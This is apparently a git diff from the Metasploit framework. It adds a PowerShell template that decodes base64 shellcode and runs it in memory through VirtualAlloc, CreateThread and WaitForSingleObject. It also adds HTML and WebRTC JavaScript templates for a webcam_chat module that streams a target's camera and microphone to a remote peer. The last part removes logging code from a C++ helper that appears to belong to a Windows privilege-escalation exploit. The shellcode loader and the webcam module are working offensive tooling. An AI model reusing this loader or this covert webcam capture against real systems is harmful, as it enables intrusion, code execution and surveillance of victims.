$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
|
||||||
|
|
||||||
|
return $%{var_type_builder}.CreateType()
|
||||||
|
}
|
||||||
|
|
||||||
|
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
|
||||||
|
|
||||||
|
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
|
||||||
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
||||||
|
|
||||||
|
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
|
||||||
|
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,193 @@
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>webcam_chat</title>
|
||||||
|
<style type="text/css">
|
||||||
|
div.container {
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowa {
|
||||||
|
height: 480px;
|
||||||
|
width: 640px;
|
||||||
|
border-radius: 15px;
|
||||||
|
-moz-border-raidus: 15px;
|
||||||
|
background-color: black;
|
||||||
|
position: absolute;
|
||||||
|
left: 50;
|
||||||
|
padding : 10px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowb {
|
||||||
|
height: 180px;
|
||||||
|
width: 200px;
|
||||||
|
border-radius: 15px;
|
||||||
|
-moz-border-raidus: 15px;
|
||||||
|
background-color: #9B9B9B;
|
||||||
|
position: absolute;
|
||||||
|
top: 480;
|
||||||
|
left: 470;
|
||||||
|
padding: 10px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowc {
|
||||||
|
position: absolute;
|
||||||
|
top: 510;
|
||||||
|
left: 80;
|
||||||
|
height: 150px;
|
||||||
|
width: 380px;
|
||||||
|
color: red;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.footer {
|
||||||
|
position: fixed;
|
||||||
|
bottom: 0;
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
video.peer {
|
||||||
|
position: absolute;
|
||||||
|
top: 15;
|
||||||
|
left: 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
video.self {
|
||||||
|
position: absolute;
|
||||||
|
top: 5;
|
||||||
|
left: 10;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script src="=WEBRTCAPIJS="> </script>
|
||||||
|
<script>
|
||||||
|
window.onerror = function(e) {
|
||||||
|
document.getElementById("message").innerHTML = "Error: " + e.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
document.getElementById("message").innerHTML = "Waiting for the session. When the session arrives, you must manually allow the webcam to run in order to join the session."
|
||||||
|
}
|
||||||
|
|
||||||
|
var channel = '=CHANNEL=';
|
||||||
|
var websocket = new WebSocket('ws://=SERVER=');
|
||||||
|
var inSession = false;
|
||||||
|
|
||||||
|
websocket.onopen = function() {
|
||||||
|
websocket.push(JSON.stringify({
|
||||||
|
open: true,
|
||||||
|
channel: channel
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
websocket.push = websocket.send;
|
||||||
|
websocket.send = function(data) {
|
||||||
|
websocket.push(JSON.stringify({
|
||||||
|
data: data,
|
||||||
|
channel: channel
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
var peer = new PeerConnection(websocket);
|
||||||
|
peer.onUserFound = function(userid) {
|
||||||
|
if (inSession) {
|
||||||
|
console.debug("Already in session, will not send another participation request");
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
|
||||||
|
userid = "=OFFERERID=";
|
||||||
|
|
||||||
|
getUserMedia(function(stream) {
|
||||||
|
peer.addStream(stream);
|
||||||
|
peer.sendParticipationRequest(userid);
|
||||||
|
inSession = true;
|
||||||
|
document.getElementById("message").innerHTML = "Session is now active.";
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onStreamAdded = function(e) {
|
||||||
|
var video = e.mediaElement;
|
||||||
|
if (e.userid == 'self') {
|
||||||
|
video.controls = true;
|
||||||
|
video.setAttribute('width', 200);
|
||||||
|
video.setAttribute('height', 190);
|
||||||
|
video.setAttribute('controls', false);
|
||||||
|
video.setAttribute('class', 'self');
|
||||||
|
document.getElementById("windowb").appendChild(video);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
video.controls = true;
|
||||||
|
video.setAttribute('width', 640);
|
||||||
|
video.setAttribute('height', 460);
|
||||||
|
video.setAttribute('controls', false);
|
||||||
|
video.setAttribute('class', 'peer');
|
||||||
|
document.getElementById("windowa").appendChild(video);
|
||||||
|
}
|
||||||
|
video.muted = false;
|
||||||
|
video.volume = 0.5;
|
||||||
|
video.play();
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onStreamEnded = function(e) {
|
||||||
|
var video = e.mediaElement;
|
||||||
|
if (video) {
|
||||||
|
video.style.opacity = 0;
|
||||||
|
setTimeout(function() {
|
||||||
|
video.parentNode.removeChild(video);
|
||||||
|
}, 1000);
|
||||||
|
}
|
||||||
|
document.getElementById("message").innerHTML = "The video session has ended.";
|
||||||
|
};
|
||||||
|
|
||||||
|
function getUserMedia(callback) {
|
||||||
|
|
||||||
|
var hints = {audio:true,video:{
|
||||||
|
optional: [],
|
||||||
|
mandatory: {
|
||||||
|
minWidth: 1280,
|
||||||
|
minHeight: 720,
|
||||||
|
maxWidth: 1920,
|
||||||
|
maxHeight: 1080,
|
||||||
|
minAspectRatio: 1.77
|
||||||
|
}
|
||||||
|
}};
|
||||||
|
|
||||||
|
navigator.getUserMedia(hints,function(stream) {
|
||||||
|
var video = document.createElement('video');
|
||||||
|
video.src = URL.createObjectURL(stream);
|
||||||
|
|
||||||
|
peer.onStreamAdded({
|
||||||
|
mediaElement: video,
|
||||||
|
userid: 'self',
|
||||||
|
stream: stream
|
||||||
|
});
|
||||||
|
|
||||||
|
callback(stream);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<div class="windowa" id="windowa">
|
||||||
|
</div>
|
||||||
|
<div class="windowb" id="windowb">
|
||||||
|
</div>
|
||||||
|
<div class="windowc">
|
||||||
|
<b>Session status (=RHOST=):</b><p></p>
|
||||||
|
<span id="message"></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="footer">
|
||||||
|
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
|
@ -0,0 +1,363 @@
|
||||||
|
// Muaz Khan - https://github.com/muaz-khan
|
||||||
|
// MIT License - https://www.webrtc-experiment.com/licence/
|
||||||
|
// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
|
||||||
|
window.PeerConnection = function (socketURL, userid) {
|
||||||
|
this.userid = userid || getToken();
|
||||||
|
this.peers = {};
|
||||||
|
|
||||||
|
if (!socketURL) throw 'Socket-URL is mandatory.';
|
||||||
|
|
||||||
|
new Signaler(this, socketURL);
|
||||||
|
|
||||||
|
this.addStream = function(stream) {
|
||||||
|
this.MediaStream = stream;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
function Signaler(root, socketURL) {
|
||||||
|
var self = this;
|
||||||
|
|
||||||
|
root.startBroadcasting = function () {
|
||||||
|
if(!root.MediaStream) throw 'Offerer must have media stream.';
|
||||||
|
|
||||||
|
(function transmit() {
|
||||||
|
socket.send({
|
||||||
|
userid: root.userid,
|
||||||
|
broadcasting: true
|
||||||
|
});
|
||||||
|
!self.participantFound &&
|
||||||
|
!self.stopBroadcasting &&
|
||||||
|
setTimeout(transmit, 3000);
|
||||||
|
})();
|
||||||
|
};
|
||||||
|
|
||||||
|
root.sendParticipationRequest = function (userid) {
|
||||||
|
socket.send({
|
||||||
|
participationRequest: true,
|
||||||
|
userid: root.userid,
|
||||||
|
to: userid
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
// if someone shared SDP
|
||||||
|
this.onsdp = function (message) {
|
||||||
|
var sdp = message.sdp;
|
||||||
|
|
||||||
|
if (sdp.type == 'offer') {
|
||||||
|
root.peers[message.userid] = Answer.createAnswer(merge(options, {
|
||||||
|
MediaStream: root.MediaStream,
|
||||||
|
sdp: sdp
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (sdp.type == 'answer') {
|
||||||
|
root.peers[message.userid].setRemoteDescription(sdp);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
root.acceptRequest = function (userid) {
|
||||||
|
root.peers[userid] = Offer.createOffer(merge(options, {
|
||||||
|
MediaStream: root.MediaStream
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
var candidates = [];
|
||||||
|
// if someone shared ICE
|
||||||
|
this.onice = function (message) {
|
||||||
|
var peer = root.peers[message.userid];
|
||||||
|
if (peer) {
|
||||||
|
peer.addIceCandidate(message.candidate);
|
||||||
|
for (var i = 0; i < candidates.length; i++) {
|
||||||
|
peer.addIceCandidate(candidates[i]);
|
||||||
|
}
|
||||||
|
candidates = [];
|
||||||
|
} else candidates.push(candidates);
|
||||||
|
};
|
||||||
|
|
||||||
|
// it is passed over Offer/Answer objects for reusability
|
||||||
|
var options = {
|
||||||
|
onsdp: function (sdp) {
|
||||||
|
socket.send({
|
||||||
|
userid: root.userid,
|
||||||
|
sdp: sdp,
|
||||||
|
to: root.participant
|
||||||
|
});
|
||||||
|
},
|
||||||
|
onicecandidate: function (candidate) {
|
||||||
|
socket.send({
|
||||||
|
userid: root.userid,
|
||||||
|
candidate: candidate,
|
||||||
|
to: root.participant
|
||||||
|
});
|
||||||
|
},
|
||||||
|
onStreamAdded: function (stream) {
|
||||||
|
console.debug('onStreamAdded', '>>>>>>', stream);
|
||||||
|
|
||||||
|
stream.onended = function () {
|
||||||
|
if (root.onStreamEnded) root.onStreamEnded(streamObject);
|
||||||
|
};
|
||||||
|
|
||||||
|
var mediaElement = document.createElement('video');
|
||||||
|
mediaElement.id = root.participant;
|
||||||
|
mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream);
|
||||||
|
mediaElement.autoplay = true;
|
||||||
|
mediaElement.controls = true;
|
||||||
|
mediaElement.play();
|
||||||
|
|
||||||
|
var streamObject = {
|
||||||
|
mediaElement: mediaElement,
|
||||||
|
stream: stream,
|
||||||
|
userid: root.participant,
|
||||||
|
type: 'remote'
|
||||||
|
};
|
||||||
|
|
||||||
|
function afterRemoteStreamStartedFlowing() {
|
||||||
|
if (!root.onStreamAdded) return;
|
||||||
|
root.onStreamAdded(streamObject);
|
||||||
|
}
|
||||||
|
|
||||||
|
afterRemoteStreamStartedFlowing();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function closePeerConnections() {
|
||||||
|
self.stopBroadcasting = true;
|
||||||
|
if (root.MediaStream) root.MediaStream.stop();
|
||||||
|
|
||||||
|
for (var userid in root.peers) {
|
||||||
|
root.peers[userid].peer.close();
|
||||||
|
}
|
||||||
|
root.peers = {};
|
||||||
|
}
|
||||||
|
|
||||||
|
root.close = function () {
|
||||||
|
socket.send({
|
||||||
|
userLeft: true,
|
||||||
|
userid: root.userid,
|
||||||
|
to: root.participant
|
||||||
|
});
|
||||||
|
closePeerConnections();
|
||||||
|
};
|
||||||
|
|
||||||
|
window.onbeforeunload = function () {
|
||||||
|
root.close();
|
||||||
|
};
|
||||||
|
|
||||||
|
window.onkeyup = function (e) {
|
||||||
|
if (e.keyCode == 116)
|
||||||
|
root.close();
|
||||||
|
};
|
||||||
|
|
||||||
|
function onmessage(e) {
|
||||||
|
var message = JSON.parse(e.data);
|
||||||
|
|
||||||
|
if (message.userid == root.userid) return;
|
||||||
|
root.participant = message.userid;
|
||||||
|
|
||||||
|
// for pretty logging
|
||||||
|
console.debug(JSON.stringify(message, function (key, value) {
|
||||||
|
if (value && value.sdp) {
|
||||||
|
console.log(value.sdp.type, '---', value.sdp.sdp);
|
||||||
|
return '';
|
||||||
|
} else return value;
|
||||||
|
}, '---'));
|
||||||
|
|
||||||
|
// if someone shared SDP
|
||||||
|
if (message.sdp && message.to == root.userid) {
|
||||||
|
self.onsdp(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
// if someone shared ICE
|
||||||
|
if (message.candidate && message.to == root.userid) {
|
||||||
|
self.onice(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
// if someone sent participation request
|
||||||
|
if (message.participationRequest && message.to == root.userid) {
|
||||||
|
self.participantFound = true;
|
||||||
|
|
||||||
|
if (root.onParticipationRequest) {
|
||||||
|
root.onParticipationRequest(message.userid);
|
||||||
|
} else root.acceptRequest(message.userid);
|
||||||
|
}
|
||||||
|
|
||||||
|
// if someone is broadcasting himself!
|
||||||
|
if (message.broadcasting && root.onUserFound) {
|
||||||
|
root.onUserFound(message.userid);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (message.userLeft && message.to == root.userid) {
|
||||||
|
closePeerConnections();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var socket = socketURL;
|
||||||
|
if(typeof socketURL == 'string') {
|
||||||
|
socket = new WebSocket(socketURL);
|
||||||
|
socket.push = socket.send;
|
||||||
|
socket.send = function (data) {
|
||||||
|
socket.push(JSON.stringify(data));
|
||||||
|
};
|
||||||
|
|
||||||
|
socket.onopen = function () {
|
||||||
|
console.log('websocket connection opened.');
|
||||||
|
};
|
||||||
|
}
|
||||||
|
socket.onmessage = onmessage;
|
||||||
|
}
|
||||||
|
|
||||||
|
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
|
||||||
|
var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
|
||||||
|
var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
|
||||||
|
|
||||||
|
navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
|
||||||
|
window.URL = window.webkitURL || window.URL;
|
||||||
|
|
||||||
|
var isFirefox = !!navigator.mozGetUserMedia;
|
||||||
|
var isChrome = !!navigator.webkitGetUserMedia;
|
||||||
|
|
||||||
|
var STUN = {
|
||||||
|
url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121'
|
||||||
|
};
|
||||||
|
|
||||||
|
var TURN = {
|
||||||
|
url: 'turn:homeo@turn.bistri.com:80',
|
||||||
|
credential: 'homeo'
|
||||||
|
};
|
||||||
|
|
||||||
|
var iceServers = {
|
||||||
|
iceServers: [STUN]
|
||||||
|
};
|
||||||
|
|
||||||
|
if (isChrome) {
|
||||||
|
if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28)
|
||||||
|
TURN = {
|
||||||
|
url: 'turn:turn.bistri.com:80',
|
||||||
|
credential: 'homeo',
|
||||||
|
username: 'homeo'
|
||||||
|
};
|
||||||
|
|
||||||
|
iceServers.iceServers = [STUN, TURN];
|
||||||
|
}
|
||||||
|
|
||||||
|
var optionalArgument = {
|
||||||
|
optional: [{
|
||||||
|
DtlsSrtpKeyAgreement: true
|
||||||
|
}]
|
||||||
|
};
|
||||||
|
|
||||||
|
var offerAnswerConstraints = {
|
||||||
|
optional: [],
|
||||||
|
mandatory: {
|
||||||
|
OfferToReceiveAudio: true,
|
||||||
|
OfferToReceiveVideo: true
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function getToken() {
|
||||||
|
return Math.round(Math.random() * 9999999999) + 9999999999;
|
||||||
|
}
|
||||||
|
|
||||||
|
function onSdpError() {}
|
||||||
|
|
||||||
|
// var offer = Offer.createOffer(config);
|
||||||
|
// offer.setRemoteDescription(sdp);
|
||||||
|
// offer.addIceCandidate(candidate);
|
||||||
|
var Offer = {
|
||||||
|
createOffer: function (config) {
|
||||||
|
var peer = new RTCPeerConnection(iceServers, optionalArgument);
|
||||||
|
|
||||||
|
if (config.MediaStream) peer.addStream(config.MediaStream);
|
||||||
|
peer.onaddstream = function (event) {
|
||||||
|
config.onStreamAdded(event.stream);
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onicecandidate = function (event) {
|
||||||
|
if (event.candidate)
|
||||||
|
config.onicecandidate(event.candidate);
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.createOffer(function (sdp) {
|
||||||
|
peer.setLocalDescription(sdp);
|
||||||
|
config.onsdp(sdp);
|
||||||
|
}, onSdpError, offerAnswerConstraints);
|
||||||
|
|
||||||
|
this.peer = peer;
|
||||||
|
|
||||||
|
return this;
|
||||||
|
},
|
||||||
|
setRemoteDescription: function (sdp) {
|
||||||
|
this.peer.setRemoteDescription(new RTCSessionDescription(sdp));
|
||||||
|
},
|
||||||
|
addIceCandidate: function (candidate) {
|
||||||
|
this.peer.addIceCandidate(new RTCIceCandidate({
|
||||||
|
sdpMLineIndex: candidate.sdpMLineIndex,
|
||||||
|
candidate: candidate.candidate
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// var answer = Answer.createAnswer(config);
|
||||||
|
// answer.setRemoteDescription(sdp);
|
||||||
|
// answer.addIceCandidate(candidate);
|
||||||
|
var Answer = {
|
||||||
|
createAnswer: function (config) {
|
||||||
|
var peer = new RTCPeerConnection(iceServers, optionalArgument);
|
||||||
|
|
||||||
|
if (config.MediaStream) peer.addStream(config.MediaStream);
|
||||||
|
peer.onaddstream = function (event) {
|
||||||
|
config.onStreamAdded(event.stream);
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onicecandidate = function (event) {
|
||||||
|
if (event.candidate)
|
||||||
|
config.onicecandidate(event.candidate);
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.setRemoteDescription(new RTCSessionDescription(config.sdp));
|
||||||
|
peer.createAnswer(function (sdp) {
|
||||||
|
peer.setLocalDescription(sdp);
|
||||||
|
config.onsdp(sdp);
|
||||||
|
}, onSdpError, offerAnswerConstraints);
|
||||||
|
|
||||||
|
this.peer = peer;
|
||||||
|
|
||||||
|
return this;
|
||||||
|
},
|
||||||
|
addIceCandidate: function (candidate) {
|
||||||
|
this.peer.addIceCandidate(new RTCIceCandidate({
|
||||||
|
sdpMLineIndex: candidate.sdpMLineIndex,
|
||||||
|
candidate: candidate.candidate
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function merge(mergein, mergeto) {
|
||||||
|
for (var t in mergeto) {
|
||||||
|
mergein[t] = mergeto[t];
|
||||||
|
}
|
||||||
|
return mergein;
|
||||||
|
}
|
||||||
|
|
||||||
|
window.URL = window.webkitURL || window.URL;
|
||||||
|
navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
|
||||||
|
navigator.getUserMedia = function(hints, onsuccess, onfailure) {
|
||||||
|
if(!hints) hints = {audio:true,video:true};
|
||||||
|
if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)';
|
||||||
|
|
||||||
|
navigator.getMedia(hints, _onsuccess, _onfailure);
|
||||||
|
|
||||||
|
function _onsuccess(stream) {
|
||||||
|
onsuccess(stream);
|
||||||
|
}
|
||||||
|
|
||||||
|
function _onfailure(e) {
|
||||||
|
if(onfailure) onfailure(e);
|
||||||
|
else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t'));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
})();
|
|
@ -0,0 +1,195 @@
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Video session</title>
|
||||||
|
<style type="text/css">
|
||||||
|
div.dot1 {
|
||||||
|
position: absolute;
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
margin: 30px auto 0;
|
||||||
|
border-radius: 50px;
|
||||||
|
background-color: red;
|
||||||
|
top: 150;
|
||||||
|
left: 470;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.dot2 {
|
||||||
|
position: absolute;
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
margin: 30px auto 0;
|
||||||
|
border-radius: 50px;
|
||||||
|
background-color: red;
|
||||||
|
top: 150;
|
||||||
|
left: 505;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.dot3 {
|
||||||
|
position: absolute;
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
margin: 30px auto 0;
|
||||||
|
border-radius: 50px;
|
||||||
|
background-color: red;
|
||||||
|
top: 150;
|
||||||
|
left: 540;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowa {
|
||||||
|
height: 340px;
|
||||||
|
width: 420px;
|
||||||
|
border-radius: 15px;
|
||||||
|
-moz-border-raidus: 15px;
|
||||||
|
background-color: black;
|
||||||
|
position: absolute;
|
||||||
|
left: 20;
|
||||||
|
padding : 10px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowb {
|
||||||
|
height: 340px;
|
||||||
|
width: 420px;
|
||||||
|
border-radius: 15px;
|
||||||
|
-moz-border-raidus: 15px;
|
||||||
|
background-color: black;
|
||||||
|
position: absolute;
|
||||||
|
left: 570;
|
||||||
|
padding : 10px;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
text-align: center;
|
||||||
|
vertical-align: middle;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.windowc {
|
||||||
|
position: absolute;
|
||||||
|
top: 400;
|
||||||
|
left: 60;
|
||||||
|
height: 50px;
|
||||||
|
width: 900px;
|
||||||
|
color: red;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.footer {
|
||||||
|
position: fixed;
|
||||||
|
bottom: 0;
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<script src="api.js"> </script>
|
||||||
|
<script>
|
||||||
|
var channel = '=CHANNEL=';
|
||||||
|
var websocket = new WebSocket('ws://=SERVER=');
|
||||||
|
|
||||||
|
websocket.onopen = function() {
|
||||||
|
websocket.push(JSON.stringify({
|
||||||
|
open: true,
|
||||||
|
channel: channel
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
websocket.push = websocket.send;
|
||||||
|
websocket.send = function(data) {
|
||||||
|
websocket.push(JSON.stringify({
|
||||||
|
data: data,
|
||||||
|
channel: channel
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
var peer = new PeerConnection(websocket, '=OFFERERID=');
|
||||||
|
|
||||||
|
peer.onStreamAdded = function(e) {
|
||||||
|
var video = e.mediaElement;
|
||||||
|
video.setAttribute('width', 420);
|
||||||
|
video.setAttribute('height', 340);
|
||||||
|
video.setAttribute('controls', false);
|
||||||
|
video.volume = 0.5;
|
||||||
|
|
||||||
|
if (e.userid == 'self') {
|
||||||
|
document.getElementById("windowb").appendChild(video);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
document.getElementById("windowa").appendChild(video);
|
||||||
|
document.getElementById("message").innerHTML = "Session is now active.";
|
||||||
|
}
|
||||||
|
|
||||||
|
video.play();
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onStreamEnded = function(e) {
|
||||||
|
var video = e.mediaElement;
|
||||||
|
if (video) {
|
||||||
|
video.style.opacity = 0;
|
||||||
|
setTimeout(function() {
|
||||||
|
video.parentNode.removeChild(video);
|
||||||
|
}, 1000);
|
||||||
|
}
|
||||||
|
document.getElementById("message").innerHTML = "The video session has ended.";
|
||||||
|
};
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
getUserMedia(function(stream) {
|
||||||
|
peer.addStream(stream);
|
||||||
|
peer.startBroadcasting();
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
function getUserMedia(callback) {
|
||||||
|
var hints = {audio:true,video:{
|
||||||
|
optional: [],
|
||||||
|
mandatory: {
|
||||||
|
minWidth: 1280,
|
||||||
|
minHeight: 720,
|
||||||
|
maxWidth: 1920,
|
||||||
|
maxHeight: 1080,
|
||||||
|
minAspectRatio: 1.77
|
||||||
|
}
|
||||||
|
}};
|
||||||
|
|
||||||
|
navigator.getUserMedia(hints,function(stream) {
|
||||||
|
var video = document.createElement('video');
|
||||||
|
video.src = URL.createObjectURL(stream);
|
||||||
|
peer.onStreamAdded({
|
||||||
|
mediaElement: video,
|
||||||
|
userid: 'self',
|
||||||
|
stream: stream
|
||||||
|
});
|
||||||
|
|
||||||
|
callback(stream);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="windowa" id="windowa">
|
||||||
|
<b>You peer</b>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="dot1"></div>
|
||||||
|
<div class="dot2"></div>
|
||||||
|
<div class="dot3"></div>
|
||||||
|
|
||||||
|
<div class="windowb" id="windowb">
|
||||||
|
<b>You</b>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="windowc">
|
||||||
|
<b>Status:</b><p></p>
|
||||||
|
<span id="message">Waiting for your peer to join the video session...</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
|
@ -8,46 +8,6 @@
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <WinIOCtl.h>
|
#include <WinIOCtl.h>
|
||||||
|
|
||||||
/*************************************************************************************************/
|
|
||||||
/*************************************************************************************************/
|
|
||||||
/*************************************************************************************************/
|
|
||||||
|
|
||||||
std::wstring CError::Format( DWORD ErrorCode )
|
|
||||||
{
|
|
||||||
return Format( ErrorCode, NULL, NULL );
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wstring CError::Format(DWORD ErrorCode, const TCHAR *Title, const TCHAR *API)
|
|
||||||
{
|
|
||||||
LPVOID lpvMessageBuffer;
|
|
||||||
|
|
||||||
FormatMessage(
|
|
||||||
FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,
|
|
||||||
NULL, ErrorCode,
|
|
||||||
MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT),
|
|
||||||
(LPTSTR)&lpvMessageBuffer, 0, NULL);
|
|
||||||
|
|
||||||
std::wstring result;
|
|
||||||
|
|
||||||
std::wostringstream es(TEXT(""));
|
|
||||||
es << ErrorCode;
|
|
||||||
|
|
||||||
if ( Title )
|
|
||||||
{ result.append( Title ); result.append( TEXT("\n") ); }
|
|
||||||
else
|
|
||||||
{ result.append( TEXT("ERROR") ); result.append( TEXT("\n") ); }
|
|
||||||
|
|
||||||
if ( API )
|
|
||||||
{ result.append( TEXT("API = ") );result.append( API ); result.append( TEXT("\n") ); }
|
|
||||||
result.append( TEXT("error code = ") );result.append( es.str() );result.append( TEXT("\n") );
|
|
||||||
if( lpvMessageBuffer )
|
|
||||||
{ result.append( TEXT("message = ") );result.append( (TCHAR *)lpvMessageBuffer );result.append( TEXT("\n") ); }
|
|
||||||
|
|
||||||
if ( lpvMessageBuffer )
|
|
||||||
{ LocalFree(lpvMessageBuffer); }
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*************************************************************************************************/
|
/*************************************************************************************************/
|
||||||
/*************************************************************************************************/
|
/*************************************************************************************************/
|
||||||
|
@ -142,90 +102,3 @@ CInterprocessStorage::~CInterprocessStorage()
|
||||||
CloseHandle( _hMapping );
|
CloseHandle( _hMapping );
|
||||||
}
|
}
|
||||||
|
|
||||||
/*************************************************************************************************/
|
|
||||||
/*************************************************************************************************/
|
|
||||||
/*************************************************************************************************/
|
|
||||||
|
|
||||||
std::wstring CLogger::GetPath()
|
|
||||||
{
|
|
||||||
std::wstring path;
|
|
||||||
|
|
||||||
TCHAR buffer[MAX_PATH];
|
|
||||||
if ( GetTempPath( MAX_PATH, buffer ) )
|
|
||||||
{
|
|
||||||
path.assign( buffer );
|
|
||||||
path.append( TEXT("w7e.log") );
|
|
||||||
}
|
|
||||||
|
|
||||||
return path;
|
|
||||||
}
|
|
||||||
|
|
||||||
void CLogger::Reset()
|
|
||||||
{
|
